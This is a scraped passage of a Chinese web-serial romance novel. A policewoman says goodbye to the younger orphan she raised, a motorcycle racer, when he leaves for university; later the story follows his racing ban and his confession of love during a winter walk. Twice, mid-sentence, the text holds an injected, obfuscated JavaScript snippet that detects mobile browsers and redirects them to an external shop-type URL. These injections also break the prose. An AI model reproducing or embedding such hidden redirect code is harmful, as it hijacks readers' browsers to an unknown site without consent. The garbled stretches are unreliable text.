她的手机一直很安静,没有消息,没有电话,她把手机翻过来扣在桌上,过一会儿又翻过来看一眼,又扣回去。 快九点的时候,手机响了。 屏幕上闪着“小豆丁”三个字,她盯着那两个字看了好几秒,心跳开始加速,她深吸一口气,接起来,“喂。” “还不回来吗?”他问得直接。 “我在加班。”她说。 他轻笑,“派出所就你一个人加班?灯都灭大半了。” 岑星禾心砰砰跳着,起身走到窗前往下看。 楼下路边停着一辆机车,车身在路灯下反着光,他靠在机车侧边,长腿散漫伸着,一腿笔直垂落地面,另一腿慵懒屈膝。 手掌懒懒地撑在油箱上,脊背微塌,另一只手抬至耳畔,指尖漫不经心夹着手机,正抬头看向她办公室的方向。 “你什么时候来的?” “有一会儿了。”他说,“看你灯亮着,没上去。” 窗外的路灯把整条街照得亮堂堂的,他的车停在那棵梧桐树下面,像一个黑色的影子,她的手指在手机壳上摸来摸去,摸到那个凸起的星星。 “你下来吧。”他有劝哄的意味。 “不下。” “那我上去?” “你上来干嘛?” “接你下班。”他理直气壮道。 岑星禾咬了咬嘴唇,“我自己会回去。” “那你倒是回啊。” 心潮无规律起伏着,她用力咬了咬腮肉,不敢想象怎么和他两人独处,有种无颜面对江东父老的感觉。 “今天是我逗你的。”他声音放软了。 岑星禾眨了眨眼。 “你昨天醉酒的事。”他说,“你根本没说过那些话。” “你喝醉了就哭,拉着我的手说对不起。”他顿了顿,“没说别的。” 岑星禾的鼻子一下子就酸了,她不知道自己是因为松了一口气想哭,还是因为别的什么,“真的?” 他松松一笑,“骗你是小狗。” 窗外的梧桐树叶被风吹得沙沙响,他的声音又遥远又真实,“回来吧,我给你煮了面。” 岑星禾嘟囔一句:“我不饿。” “你中午都没怎么吃。” 她惊诧地抬头看向他的方向,有种他如影随形的错觉,“你怎么知道我中午没怎么吃?” 李烈被她的语气逗得想笑,“你们单位食堂的大妈告诉我的。” “你什么时候认识我们食堂大妈了?” “我天天来接你,她问我是不是你男朋友,我说是。”他语气透着得意,“然后就认识了。” 岑星禾转头收拾东西,嗔怪道:“能不能别给我造谣。” 她很快收拾下楼了,走到他身边,低着头没说话。 他穿着一件黑色T恤,路灯的光落在他肩膀上,把他的轮廓勾得很清楚。 “对不起。”他的声音从她头顶落下来,像一片叶子落在水面上,“以后不开这种玩笑了。” “知道了。”她说。 李烈将头盔给她戴上,曲指敲敲头盔,低低失笑,“小傻瓜。” 岑星禾指尖无意识攥紧衣角,垂着头佯装没听见,硬生生把涌上脸颊的燥热都忍了下去,直到机车飞驰而去,心里的羞意才慢慢散去。 * 距离李烈开学还有一个星期。 岑星禾已经开始帮他收拾行李了,他那点家当全在她家阳台上堆着,她偷偷给他买了一身新衣服,还有一双新鞋。 行李箱是她从网上买的,快递到的那天李烈不在家,她把箱子拆开,拉链拉开,放在客厅中间,看了一眼,又把拉链拉上了。 她不知道从哪儿开始收。 晚上李烈回来了,她正在苦恼:“行李怎么准备?” 李烈指了指他的黑色旧背包。 她走过去打开他那个旧背包,里面躺着三件T恤,两条牛仔裤,一条运动裤,一包没拆封的袜子,“你就带这些?” “这些就够了。”李烈靠在卧室门框上。 “够什么够。”岑星禾把衣服叠好放进行李箱,叠一件要按好几下,把褶皱压平了才肯放进箱子,“上城冬天冷,你有羽绒服吗?” “到时候再买。” 岑星禾跑腿坐在地毯上,掰着手指数: “牙膏牙刷到了再买” “床单学校应该会发” “洗发水别买超市最便宜的那个,会伤头发” “......” “我又不是不回来了。”他有些无奈。 岑星禾把那包袜子的位置重新摆好,“我知道。” 十二号刚好是周六,她起了一个大早。 火车是下午两点半的,吃过午饭李烈把行李箱从房间里拖出来,立在地上,拉杆拉出来,又按回去,反复几次,“走吧。” 她嗯了一声,拉开门。 李烈拖着行李箱走出去,她跟在后面,关门的时候回头看了一眼屋里,沙发上的靠垫摆得整整齐齐,茶几上电视遥控器放在固定的位置,阳台上晾着他昨晚洗的T恤,风吹过来袖子一鼓一鼓的,她的拖鞋和他的拖鞋并排摆在门口,粉的,灰的,像两对靠在一起睡觉的小动物。 他们打车去火车站,一路沉默。 出租车路过修车铺那条巷子口,岑星禾往窗外看了一眼,巷口堆着几袋垃圾,破旧的墙上画着一个红色的圆,里面写着一个拆字。 到了火车站,李烈去取票,岑星禾站在大厅里等着,周围人来人往,她站在柱子旁边,看着他排在队伍里,比前后的人都高出一截,穿着一件黑色T恤,头发刚剪过,后脑勺的头发推得很短,露出干干净净的发际线。 他取完票回来,手里拿着一张蓝色的小纸片,他的手指捏着票根,指节泛白,像在用力。 “几点的?”她明明知道,还是问了。 “两点半。” 两个人站在柱子旁边,像两根被钉在地上的木桩,不知道往哪儿挪。 “你要不要喝水?”岑星禾先开口。 “不渴。” “饿不饿?” “不饿。” 岑星禾沉默了十几秒,“你东西带齐了吗?身份证,录取通知书。” “带了。” “到了不要忘记发个信息给我。” “知道。” “床单被套学校可能会发,你自己还要备一套。” “岑星禾。”李烈打断她。 她发现李烈正低头看着自己,眼中透着炽热光,她听见他带着期盼的语气问:“你会不会想我?” 岑星禾喉头发紧,无措地别开眼,“快进去吧,马上晚点了。”说完她暗暗咬了咬舌尖,懊恼自己的笨嘴。 李烈却不愿意放过她,“还有时间。” “那你先去排队,已经在检票了。”她的声音越来越小。 李烈目光停在她脸上,喉结上下滚动了一下,“我会想你的。” 话音未落,他快速别过脸去,好像在看候车室的大屏幕,屏幕上滚动的是车次信息,他看了好几秒都没眨眼。 岑星禾攥紧了帆布包的带子,显出一点莫名其妙地拘束。 “你回去吧。”他的视线还落在大屏幕上。 “我看着你进去。” “有什么好看的。” “你先走。”她难得倔强了一回。 李烈转过头看了她一眼,嘴唇动了一下,想说什么又说不出来,他拉起行李箱的拉杆,往候车室的方向走走了三步停下来。 岑星禾看着他高大的背影,眼眶蓦然就红了,她还没来得及擦,他突然转过身了,行李箱被他扔在原地,他大步流星地走回来,带起一阵风。 周围有人侧目,有人匆匆让路,他走到她面前,伸出手一把将她拉进了怀里。 他的手臂很用力,一只手揽着她的腰,另一只手按着她的后脑勺,把她的脸压在自己胸口,她的鼻尖撞到他的锁骨,有点疼,耳朵贴着他的胸膛,听到他有力的心跳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548346|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她整个人僵住了,他的手收得很紧,紧到她的肩膀被箍得有点酸。 她知道这个时候她应该抱住他,电视里都是这么演的,可她的手不听使唤,指尖离他的后背只有几厘米,怎么也碰不上去。 李烈的嘴唇贴着她耳朵,呼吸滚烫,烫得她整个人都要烧着了,他轻声说了四个字。 ...... 他松开她退了一步,脸上也有几分赧意,他弯腰捡起行李箱,头也没回地走进了候车室。 岑星禾站在原地,身体还保持着被他抱过的僵硬姿势,周围的人在看她,她的眼泪却猝不及防地掉下来。 广播里在播报车次信息,一列火车进站,人群涌动,她站在柱子旁边,像一棵被风吹歪了又没倒的树。 她抬起双手,捂在双颊上,脸上的温度有些发烫。 * 他走后的第一天,出租屋忽然变大了。 岑星禾下班回来,开门的时候习惯性地往沙发上看了一眼,发现是空的,阳台上也没有人影,只有一排随风摆动的衣服。 晚上她洗完澡,坐在沙发上擦头发,电视开着,调到动物世界,当做背景音。 她拿起手机,点开和李烈的对话框,上一条消息是下午六点他发的:“到了。” 她回了一个“嗯”,就没有然后了。 她打了几个字又删掉,反反复复几次后,最后发了一句:[宿舍怎么样?] 回复来得很快,像他就等在手机那头。 李烈:[四人间,有空调。] 岑星禾:[室友呢?] 李烈:[都挺好。] 岑星禾:[吃饭了吗?] 李烈:[吃了,食堂还可以] 他又发了一条:[你吃了吗?] 岑星禾:[吃了。] 李烈:[吃的什么?] 岑星禾看着茶几上那碗泡面,把泡面两个字删掉,打了:米饭炒菜。 他没再问了。 第二天他发了一张照片,在操场上,穿着迷彩服,戴着一顶比自己头大一号的帽子,脖子和脸之间有一道明显的分界线,他的表情很淡,嘴角微微抿着,阳光打在他脸上,把他衬得更精神了。 岑星禾放大了看,又缩小,又放大,回了条信息:[才第一天就晒黑了?] 李烈:[帅吗?] 她盯着那两个字看了好几秒,脸上有点热,她没回这个问题,打了一句:[注意防晒哦。] 李烈:[男的谁涂防晒。] 岑星禾:[那你就黑着吧。] 李烈:[黑了你就不认识了?] 岑星禾:[不认识了。] 他又发了一张照片,比了个耶的手势,表情歪着嘴,痞痞的,配文:[这样呢?] 岑星禾把手机扣在桌上,控制不住的想笑,过了半分钟她又翻过来,把那张照片存了下来,他的眼睛在照片里亮得像两颗黑葡萄。 他开始每天给她汇报行程。 早上:[起床了,出操去。] 中午:[食堂吃了红烧肉,没你做的好吃。] 下午:[训练好累。] 晚上:[你在干嘛?] 每一条她都会回,有时候回得快,有时候回得慢,她回得快的时候,他就会连着发好几条,像话匣子一下子打开了。 她回得慢的时候,他就会发一个问号,还没她回复,他又接连再发一个:[人呢?] 岑星禾被他的黏人打败:[你怎么跟我妈似的。] 李烈:[你妈会问你吃没吃饭?] 岑星禾:[会。] 李烈:[那我和阿姨对你的感情一样。] 岑星禾默默地想,我妈爱我。 很快到了三个月后,已经进入初冬了,岑星禾嘱咐他提前买好冬衣,晚上他发了一张修车铺的照片,附带信息:[想家了。] 岑星禾手指在屏幕上停了很久,发了一条:[开学到现在还适应吗?] 李烈:[还行。] 她不知道怎么接,他也没有再发过来,两个人隔着屏幕,在各自的城市里沉默了一会儿。 年底她开始加班,泰显川的案子还在审,老周让她整理一些材料,她每天忙到很晚,有时候八九点才到家,李烈知道她加班,就会掐着时间发消息。 他发了一条语音过来,声音很低,[你下班了吗。] 她回复:[下班了,你还不睡?] 李烈:[等你到家。] 程焕:[我到了。] 李烈:[我看看。] 岑星禾抬头看了一眼单元楼的门牌,拍了一张门口的灯发给他,暖黄色的光照在楼梯上,像一小块融化的黄油。 她上楼开门,换鞋,洗完澡出来,头发还没吹干,手机亮了,他发来一条语音:[今天特别想见你。] 他的声音低到像是从枕头里闷出来的,背景很安静,安静到能听见他的呼吸声。 岑星禾坐在沙发上,头发上的水滴下来,砸在手机屏幕上,她把那条语音又放了一遍,把手机贴在耳朵上听。 她把手机放下,没有回。 李烈追问:[准备睡了吗?] 她盯着屏幕,打了两个字:[睡了。] 他回得很快:[小骗子。] 岑星禾把手机扣在胸口上,仰头靠在沙发上,天花板上那盏灯有点刺眼,光晕一圈一圈地散开,她闭了一会儿眼睛又睁开,拿起手机,又听了一遍他低沉的声音说“今天特别想见你,”心里的甜像蜜一般冒出来。 事情是在十月初出问题的。 岑星禾那天正在办公室整理卷宗,手机震了一下,程焕发来一个链接。 岑星禾点开,看到标题醒目得扎眼。 《冠军车手李烈被曝违规参加赏金赛》 她继续往下划。 文章里说李烈在未向相关协会报备的情况下,参加了一场赏金赛车,赚取高额奖金,违反了职业车手的操守准则,文章还贴了几张截图,是他那时比赛时的照片。 岑星禾的手指抖了一下。 评论区又炸了。 “职业选手参加地下赛?这不是违规吗?” “冠军原来是靠非法比赛练出来的?” “这种人还能上大学?” “求仁得仁。” 她翻到最下面,发现已经有人在@上城大学的官方账号了,她放下手机,拿起电话打给李烈,响了好几声没接,她又打,这回接了,他的声音听起来很平静。 李烈知道她想问什么,“你看到新闻了?” “看到了。”岑星禾说。 “学校联系我了。”李烈很平静。 她心一沉,“怎么说的?” “说要开会研究。” 岑星禾握着手机,不知道该说什么,“你先别慌。” “我不慌。”他轻笑一声,“就是你,别又偷偷哭。” 岑星禾微微一滞,“我没哭。” 他说,“那就好,我今天忙,晚上再给你打电话。” 岑星禾连忙应了一声,电话挂断了,对面传来忙音。 一旦赏金赛被定性,他的处罚一定会非常严重,她内心慌乱着,一直在网上搜索赏金赛的主办方,但一直找不到那天比赛的具体信息。 岑星禾攥着手机坐在椅子上,窗帘没拉,窗外的天灰蒙蒙的,像要下雨。 18. Chapter18·要暖手^^…… 处罚决定是在十一月中旬公布的。 李烈被禁赛一年,官方理由是未经报备参加非认证赛事,违反职业选手行为准则,公告下面附了一行小字:即日起生效,禁赛期满后可重新申请参赛资格。 岑星禾盯着屏幕上的禁赛一年四个字,心里一阵酸涩,对于李烈这种职业选手来说,一年的时间已经足够宝贵。 她和于向清说了李烈的事,于向清宽慰她,“胜在小烈还年轻,这一年如果专心训练,应该不会落下太多。” 挨打就要立正,她沉默地接受了这个事实,岑星禾看着窗外的天,十一月的燕港灰蒙蒙的,树枝光秃秃的,风一吹就晃。 她把手机扣在桌上,趴在办公桌上,把脸埋进手臂里,胸口堵得慌,像有人往里塞了一团湿棉花,越塞越紧。 李烈倒是没怎么说。 晚上他打视频过来,屏幕里他硬朗眉骨在宿舍灯光显出几分柔和,少年眉眼精致,看人的目却带有毫不掩饰地侵略性,浑身散发着浑然天成的痞气。 岑星禾轻声问,“你看到新闻了?” “看了。” “你怎么不跟我说?”她问。 “说什么?” 岑星禾双手支在脸上,心想李烈真是长大了,小时候他无论做什么都要和她汇报一下,哪怕在福利院要被好心人领养,他都会告诉她不想去,会叽叽喳喳会说很多话。 他以前很会表达,心里从不藏事。 李烈靠在床头,把手机举高了一点,露出他的下巴和喉结,“又不是不让我比了,一年很快的。” “你吃饭了没?”他岔开话题。 …… 十二月底,燕港进入了深冬,天冷得干巴巴的,风刮在脸上像刀片,太阳倒是很大,白晃晃地挂在天上,照不出一点暖意。 岑星禾坐在办公室里整理卷宗,暖气片吱吱呀呀地响,窗户上结了一层薄薄的水雾,手机震了一下,是程焕发来的。 [泰显川认罪了。] 岑星禾心口像被什么东西猛地撞了一下,她的手指悬在屏幕上方,还没打下一句话,程焕又发了一条,是一条链接,上面是法院通报。 “被告人泰显川对犯罪事实供认不讳,一审以生产销售假药罪、故意杀人罪、洗钱罪等数罪并罚,判处死刑,剥夺政治权利终身。” 下面详细列出了泰显川的犯罪事实:指使手下杀害李承,制造煤气爆炸导致李烈祖父母及母亲死亡,非法转移资产潜逃境外十余年,每一个字都像石头,沉沉地砸在地上。 岑星禾的眼睛一下子就红了,她深吸一口气,拨了李烈的电话,电话响了好几声,每一声都拉得长长的。 “喂?”是李烈低沉的声音。 “泰显川被判死刑了。”她抑制不住的激动。 “我看到新闻了。” 电话那头安静了,她能听到他的呼吸声,很轻很轻。“你在哪?” “宿舍。” “室友在吗?” “出去了。” 岑星禾握着手机,嗓子像被什么东西堵着,她想问他,你还好吗,可这句话太轻了,接不住他这十一年。 “我爸清白了。”他说。 岑星禾听得出底下压着的东西,她的眼泪一下子就涌了出来,她咬住嘴唇,没让自己发出声音。 “你替我哭了没?”他的声音里带着故意戳破她的坏笑。 岑星禾用手背擦了擦脸,手机拿远,轻轻吸了吸鼻子,努力让自己的声音听起来正常:“没有。” “又说谎了。” “我才没有。”她嘟囔着。 两个人都没再说话,隔着电话听着彼此的呼吸,窗外的阳光白晃晃的,照在窗台上,把水雾晒成了一颗一颗的小水珠。 “李烈,我们以后都要向前看。” 他嗯了一声,声音有一点哑。 他那边传来窸窸窣窣的声音,应该是把手机换了个手,然后她听到他从床上起来的声音,衣料摩擦声,拉链拉上的声音,门开又关的声音。 岑星禾问:“你去哪?” “随便走走。” 她听到他的脚步声,踩在地上,不急不慢,远处有车喇叭声,有风声,有他偶尔清嗓子的声音。 她走到阳台上,看着楼下的小广场,路灯已经亮了,把光秃秃的树枝照出一圈昏黄的轮廓,已经有摊主在下面支摊了。 “岑星禾,谢谢你。” 她弯了弯唇角,“谢我什么?” 电话那头静了一瞬,声音轻到几乎被风声盖住,她听到他好像说的是谢谢你在。 * 十二月底,李烈在电话里说寒假不回来了,“学校有点事,导师让留校帮忙,年前走不开。”他的语气很随意。 岑星禾正坐在沙发上擦头发,闻言手上顿了一下,“那过年呢?” “看情况吧。” 电视还开着,动物世界播到一半,一只猎豹趴在石头上喘气,舌头伸出来,一伸一缩的,她把毛巾拿下来,拿起遥控器把音量调小了一点,“那你好好照顾自己。” “嗯。” 两个人又聊了几句有的没的,挂了电话,她把手机放在茶几上,看着电视里那只猎豹,猎豹站起来走了两步,又趴下了。 从他离开以后,她就经常打开动物世界,把他看得再看一遍,她是一个很会藏心事的人,从来不和别人说自己的想法。 长期的生活重压造就了她敏感坚韧的心,她知道靠别人没用,能靠的只有自己。 周五下午,她正在办公室整理卷宗,手机震了一下。 李烈:[明天干嘛?] 岑星禾:[加班。] 李烈:[加完班呢?] 她想了想:[回家睡觉。] 收到信息后,他没再发了。 周六下午三点多,她刚到家,换了睡衣,头发散着,窝在沙发上准备点外卖,门铃响了。 她从猫眼里往外看了一眼。 一个戴着黑色棒球帽的男人,帽檐压得很低,穿着一件黑色冲锋衣,手里什么都没拎,站在门口,一只手插在裤兜里,另一只手抬着,指节屈着,正准备敲第二下。 她拉开门。 李烈把帽檐往上推了推,露出一张被风吹得白里透红的脸,他的头发长了一些,额前的碎发快遮住眉毛了。 脸上带着长途奔波的疲惫,眼睛下面有一圈淡淡的青,一双星星般的眼睛是亮的,漆黑漆黑的,映着她头发散乱的样子。 她惊了一惊,“你不是说不回来吗?” “我说的是看情况。”他嘴角弯了一下,歪着头看她,帽檐又滑下去了,他抬手推了推,露出一整张脸,“情况有变。” 岑星心跳开始加速,一下一下地撞在胸口上,“什么情况?” “想回来就回来了。”他随意道。 他从她身侧挤进来,弯腰从鞋柜里找拖鞋,那双灰色仍旧并排摆在粉色那双旁边,他换好鞋,把冲锋衣脱了搭在沙发扶手上,里面穿着一件黑色卫衣。 “你吃饭了吗?”她关上门,跟在后面。 “火车上吃了。” “吃的什么?” “泡面。” 岑星禾叹了口气,她走进厨房打开冰箱,里面只有几个鸡蛋和一袋挂面,她拿出两个鸡蛋,把挂面拆开。 李烈靠在厨房门框上看着她烧水、下面条、打鸡蛋,她穿着那件棉质睡衣,领口松松的,头发用夹子随便夹在脑后,几缕碎发垂下来,在脖子后面晃来晃去。 “不是加班吗?”他在她身后问。 “有同事和我换班了。” 岑星禾把面条捞进碗里,端着碗转过身,差点撞进他怀里,他什么时候站到这么近。 她往后退了半步,把碗塞进他手里。“来吃面。” 李烈低头看了一眼那碗面,溏心蛋卧在上面,蛋黄圆鼓鼓的还没破,他嘴角又弯了一下,端着碗走到餐桌前坐下,吃了一口。 “咸了。”他说。 “是吗?”她拿起筷子尝了一根。“不咸啊。” “骗你的。” 岑星禾瞪了他一眼,他抬起头看着她,嘴里吞咽着面条,露出一个称心遂意的笑。 外面的天已经暗了,客厅没开大灯,只有厨房漏出来的光和电视待机的蓝光,照得他的脸一半亮一半暗,她移开视线,走到沙发边坐下,拿起手机假装看消息。 这样冷的天气,这么不着调的时间,他的意外出现让她心慌意乱,他明显就是想给她一个惊喜,她不是十七八岁的小女生了,她能够很直观的感受到李烈不加掩饰的感情,她给不出任何回应,她怕最终连亲人的名义都没有了。 下午三四点,天灰蒙蒙的,铅灰色的云压得很低,没有风,空气里有一种湿漉漉的冷。 “我们出去走走吧。”李烈站在阳台门口,逆着光,整个人被镀上一层灰白色的轮廓。 岑星禾换了一件毛衣,外面套着一件驼色大衣,穿着长靴,李烈把玄关墙上挂的那条灰色围巾取下来,绕在自己脖子上。 那条围巾是她的,米色的,他大概没注意颜色,或者注意了也不在意,他只想暖和一点。 两个人出了门。 小区外面是一条笔直的马路,两旁种着梧桐树,叶子早就掉光了,光秃秃的枝丫伸向天空,像老人手上的血管,人行道上的地砖被这几天的冷风吹得发白,缝隙里嵌着干枯的落叶,踩上去咔嚓咔嚓的。 李烈走在她的左边,靠马路那侧,他走路的时候手插在羽绒服口袋里,整个人晃悠悠的,懒洋洋的。 他走在她旁边,步子不大,配合着她的速度。 “上城的饭菜真那么难吃?”她问。 “嗯。” “比柳州的螺蛳粉还难吃?” 他偏头看了她一眼,“螺蛳粉是臭,那边是难吃。” 岑星禾笑了一下,“有什么区别?” “臭是一种味道,难吃是什么味道都没有。”他一本正经地说,“米饭像沙子,菜像白水煮的,他们甚至好心的撒了一撮盐。” “那你怎么吃的?” “就着你的照片吃。” 岑星禾脚步顿了一下,随即轻声,“我这么下饭啊。” 李烈嘴角弯着,“开玩笑的。” 她假装在看路边的地砖,耳朵很热,手背是凉的,贴到耳朵上试了一下,分不清哪个温度是手,哪个温度是耳朵。 “你上次说程焕姐要结婚了?”他换了话题。 “婚期年后二月份。”岑星禾说。 李烈感慨,“真快。” “水到渠成的事。”她随口接了一句。 李烈的下颌动了一下,他伸手把脖子上那条米色围巾往上拢了拢,围巾遮住了他下半张脸,只露出一双眼睛,那双眼睛看着前面的路,睫毛垂着,看不出情绪。 马路对面有一个小广场,中间是一个圆形喷泉,冬天不开,池子里干干的,落了一层灰,广场周围种着几棵银杏树,叶子早就落光了,光秃秃的枝条伸出来,在灰色的天幕上画出疏疏朗朗的线条。 一只灰鸽子站在池子边沿,歪着头看了他们一眼,扑棱着翅膀飞走了,岑星禾走在前面,踩上一块松动的地砖,地砖翘起来,她身体晃了一下,没站稳,往后踉跄了半步。 李烈伸手扶住了她的腰,他的手掌很大,扣在她腰侧,隔着厚厚的大衣,她感觉到了他的力道稳而有力。 他的手停了一瞬,收了回去,“看着路。” 岑星禾攥了攥手指,低低地嗯了一声。。 喷泉广场上空无一人,天更灰了,铅云压在城市的天际线上,把远处的高楼切成一个个灰色的剪影,一阵风吹过来,岑星禾缩了缩脖子。 “冷?”李烈问。 “还好。” 她的手指露在外面,指尖被风吹得泛白,他低头看了一眼,伸手握住她的手,她往后缩了一下,他加重了力气,“我试试。” 他把她的手塞进了自己的羽绒服口袋里,他的口袋很大,里面很暖,他的手指冷不防穿过她的指缝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549742|204249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扣住了她整只手。 动作实在太过暧昧了,只有情侣之间才会有这样的亲密,岑星禾硬着头皮把手往回抽,他没松,反而更用力地握住了。 他的手指把她的手包得严严实实,虎口卡在她拇指根的位置,她怎么挣都挣不开。 “放开呀。”她声音很轻,怕被路人听见,“我不冷。” 李烈低着头走路,围巾遮住了半张脸,她看不清他的表情,但能看出他一定笑了。 “怎么不冷?”他的拇指在她手背上蹭了一下,指腹粗粝,如同一小块砂纸,“小手冰凉。” 岑星禾从心底开始着火,他的口袋太暖了,他的手也太暖了,两股暖意夹着她那只无处可逃的手,把她的体温一点一点地往上逼。 她能感觉到自己的脉搏正突突地跳在他的掌心里,她用力又抽了一下,还是没抽动。 “别这样,李烈。”她尾音在颤。 李烈偏过头看了她一眼,围巾下面的眼睛很亮,深棕色的瞳仁里闪烁着细碎的光,仿佛碎了漫天星辰。 “别哪样?”他带着一种明知故问地懒散。 岑星禾不敢看他,盯着前面的路,步子加快了一点,但他腿长,她快他也快,她慢他也慢,两个人之间始终隔着那半步,她的手始终被他攥在口袋里。 “不要抓着我的手。”她说。 “小时候你也是这么抓着我的。”他理不直气很壮。 岑星禾脑子里翻出以前那些画面,福利院门口,人来人往,她怕他走丢,紧紧攥着他手,超市里他抱着玩具机车不撒手,她给他买了下来,她牵着他的手,他抱着玩具机车,暴雨夜,他抱着她的胳膊不敢睡,她的手指与他汗湿的掌心相握。 她对他说,不怕,姐姐在。 那时候她十岁,他八岁。 “那不一样。”她瓮声瓮气的。 “怎么不一样了?”他低下头看她的表情,围巾蹭到了她的发顶,呼吸拂在她额前的碎发上,痒痒的。 岑星禾的心跳漏了一拍,“你现在长大了。” 李烈轻笑一声,偏过头看着她,目光从她的睫毛滑到她的鼻尖,从鼻尖滑到她抿紧的唇角。 “长大了又怎么了?” 岑星禾的脚步慢了下来,终于抬头看了他一眼,日光漫漫,落在李烈桀骜不羁的脸上,他的眼睛太亮了,亮得她不敢久看。 “长大了有些事就要有边界感。”她说,“你先松开。” 李烈把她的手从口袋里拿出来,没有放开。 两个人站在路灯下,面对面,手还牵着,他的手把她的手举在两个人之间,有些固执道:“我不想和你有边界感。” 岑星禾的鼻子一酸,眼眶一下子就红了。 这么久了,她怎么会不明白他的心意。 她也知道他说的这话是什么意思,她想说不可以,想说我们之间不应该是这样的,想说你还小,你以后会遇到更好的人。 她不是圣人,她怕世俗的眼光,她从小跟着于向清生活,遭受的白眼和冷漠不是常人能够忍受的,邻居欺负她们母女,经常故意把垃圾丢在她家门口,趁于向清不在家,去踹她家的门,她吓得躲在卧室,一动不敢动。 有时候于向清回家,开门有声音,对门的老太太就会冲出来,大声责骂她,说她没眼力见,打扰别人休息,骂她是克夫命,还生了一个赔钱货。 每当那个时候,于向清就会让她带着李烈回房间写作业,然后自己默不作声地到厨房去做饭,装听不见,装不知道。 网上怎么看待她和李烈呢? 网友1:李烈从小父母双亡,这不是养成系吗?她是不是从小就打这主意了? 网友2:好家伙,警察这身份用得好啊,利用职务之便照顾孤儿,长大了就收割?这算盘打得我在火星都听到了。 网友3:你们看她穿得那么朴素,结果找了个这么帅的机车手,这就是闷骚吧?表面一本正经,背地里还不知道玩多花。 网友4:人家现在是冠军,以后前途无量,她这不是捡漏吗? 网友5:我们李烈那三年是自己拼出来的,也没靠她吧?肯定是她道德绑架。 ...... 诸如此类的话她没办法不去看,不去听,她也不想让他在这种无休止地声音当中过一生,她只想他平安健康,在此基础上能开心一点就行了。 “李烈。”她喊了一声,眼泪差点掉下来,“真的不可以,趁现在我们还有回头路,不要再……。” “嘘。”他伸出手,用食指轻轻按住了她的嘴唇,指腹贴在她唇上,像一片落在花瓣上的雪。“别说了。” 她浑身止不住地轻抖,犹如一缕快要散尽的残烟,让他心口骤然一疼,他把手从她唇上拿下来,重新握住她的手,“我知道你在怕什么,我不会再离开了,我会一直在。” 岑星禾的眼泪终于掉了下来,她别过脸去,用手背擦了一下,吸了吸鼻子,“谁要你在。” 李烈轻声一声,把围巾摘下来,围到她脖子上,往上拢了拢,遮住了她半张脸,他的手指从围巾边缘伸进去,轻轻擦掉她眼角没擦干净的泪痕。 “那你别哭啊。” “没哭。”她的声音从围巾后面传出来,“风吹的。” “嗯,风吹的。”他学她的语气,嘴角弯着。 他转过身,往前走了两步,停下来,偏过头看她。路灯把他的影子拉得很长,投在她脚边,像一个伸过来的邀请,“走不走?” 岑星禾站在原地看着他。 少年宽肩窄腰,冲锋衣被风吹得贴在身上,勾勒出结实的轮廓,他站在那里,像一把刀,锋利十足。 她把手缩进口袋里,低头走过去,路过他的时候没有停,李烈跟上来,走在她旁边,两个人之间隔着半步的距离,谁都没有再牵手,谁都没有再说话。 路灯一盏一盏地亮过去,把两个人的影子从身后拉到身前,又从身前拉到身后,风吹过来,把她的围巾吹散了,他只是把手从口袋里拿出来,攥了攥拳头,又塞回去了。 19. Chapter19·乖姐姐^^…… 两个人并排走在一起,步调渐渐一致。 旁边传来滑板轮子摩擦地面的声音,咔嚓咔嚓的,越来越近,岑星禾还没来得及转头,一个七八岁的小男孩踩着滑板歪歪扭扭地冲过来,速度很快,像失控了一样。 小男孩脸上的表情是慌张的,嘴巴张着,啊啊的短促惊叫地两声,眼睛里全是害怕,李烈一把揽过她的肩,将她拉进怀里。 他伸出脚朝前挡了一下,在滑板快要撞上她小腿的瞬间,用脚抵住了滑板的板头,滑板晃了一下,小男孩跳下来,稳住之后回头看了他们一眼,红着脸说了句“对不起”,抱起滑板跑了。 “没事吧?”他低头看她,眉头皱了一下,视线从她的脸扫到她的腿,确认没事才松开她的肩。 “我没事。”她把碎发别到耳后,心绪很乱,低着头继续往前走。 到了广场中间,他继续给她讲学校的事,军训被晒脱了一层皮,室友打呼噜他睡不着,半夜起来背单词,图书馆的椅子很硬。 他也给她讲训练,教练加大了对他的训练程度,每天要先去操场跑十圈下来,才能进训练场,前几次要跑二十圈。 “十圈?”岑星禾抬起头看了他一眼,“你不累?” “跑完躺草坪上看天,天是灰的,和燕港的天一样。” “那你要记住,不可以私自跑比赛了。”她用教育小朋友的语气。 李烈姿态散漫的抄着兜,眼神悠悠地停在她身上,视线从她脸上往下移了移,落在她的嘴唇停了一下,又移开,那一眼很快,像是掩饰什么是的。 他们从广场的东边走到西边,灯柱上的灯亮了,照在地上,拉出长长的影子,她觉得天没有刚才那么冷了。 “你刚才看什么?”她没头没尾地冒了一句。 李烈侧过脸看她,“看我女朋友。” “谁是你女朋友?”她脱口而出后咬了咬自己舌尖。 他下半张脸藏在冲锋衣里,眼睛弯了一下,“我又没说你。” 岑星禾盯着地砖上的缝隙走,一步踩一条缝,脑袋懵懵的。 天更暗了,天与地之间的界限模糊了,所有东西都蒙上一层灰蓝色的滤镜,空气里的湿气越来越重,冷意一点一点地往骨头缝里渗。 风停了,树梢不动了,整个世界像被按下了暂停键,第一片雪花落下来的时候,她以为是睫毛上沾了东西,眨了眨眼,又一片落在鼻尖上,很快化了。 “下雪了。”她声音带着雀跃。 李烈抬起头,雪花落在他碎发上,下得越来越大,成片的从灰色天空深处倾泻而下,像有谁在天上撕扯着什么。 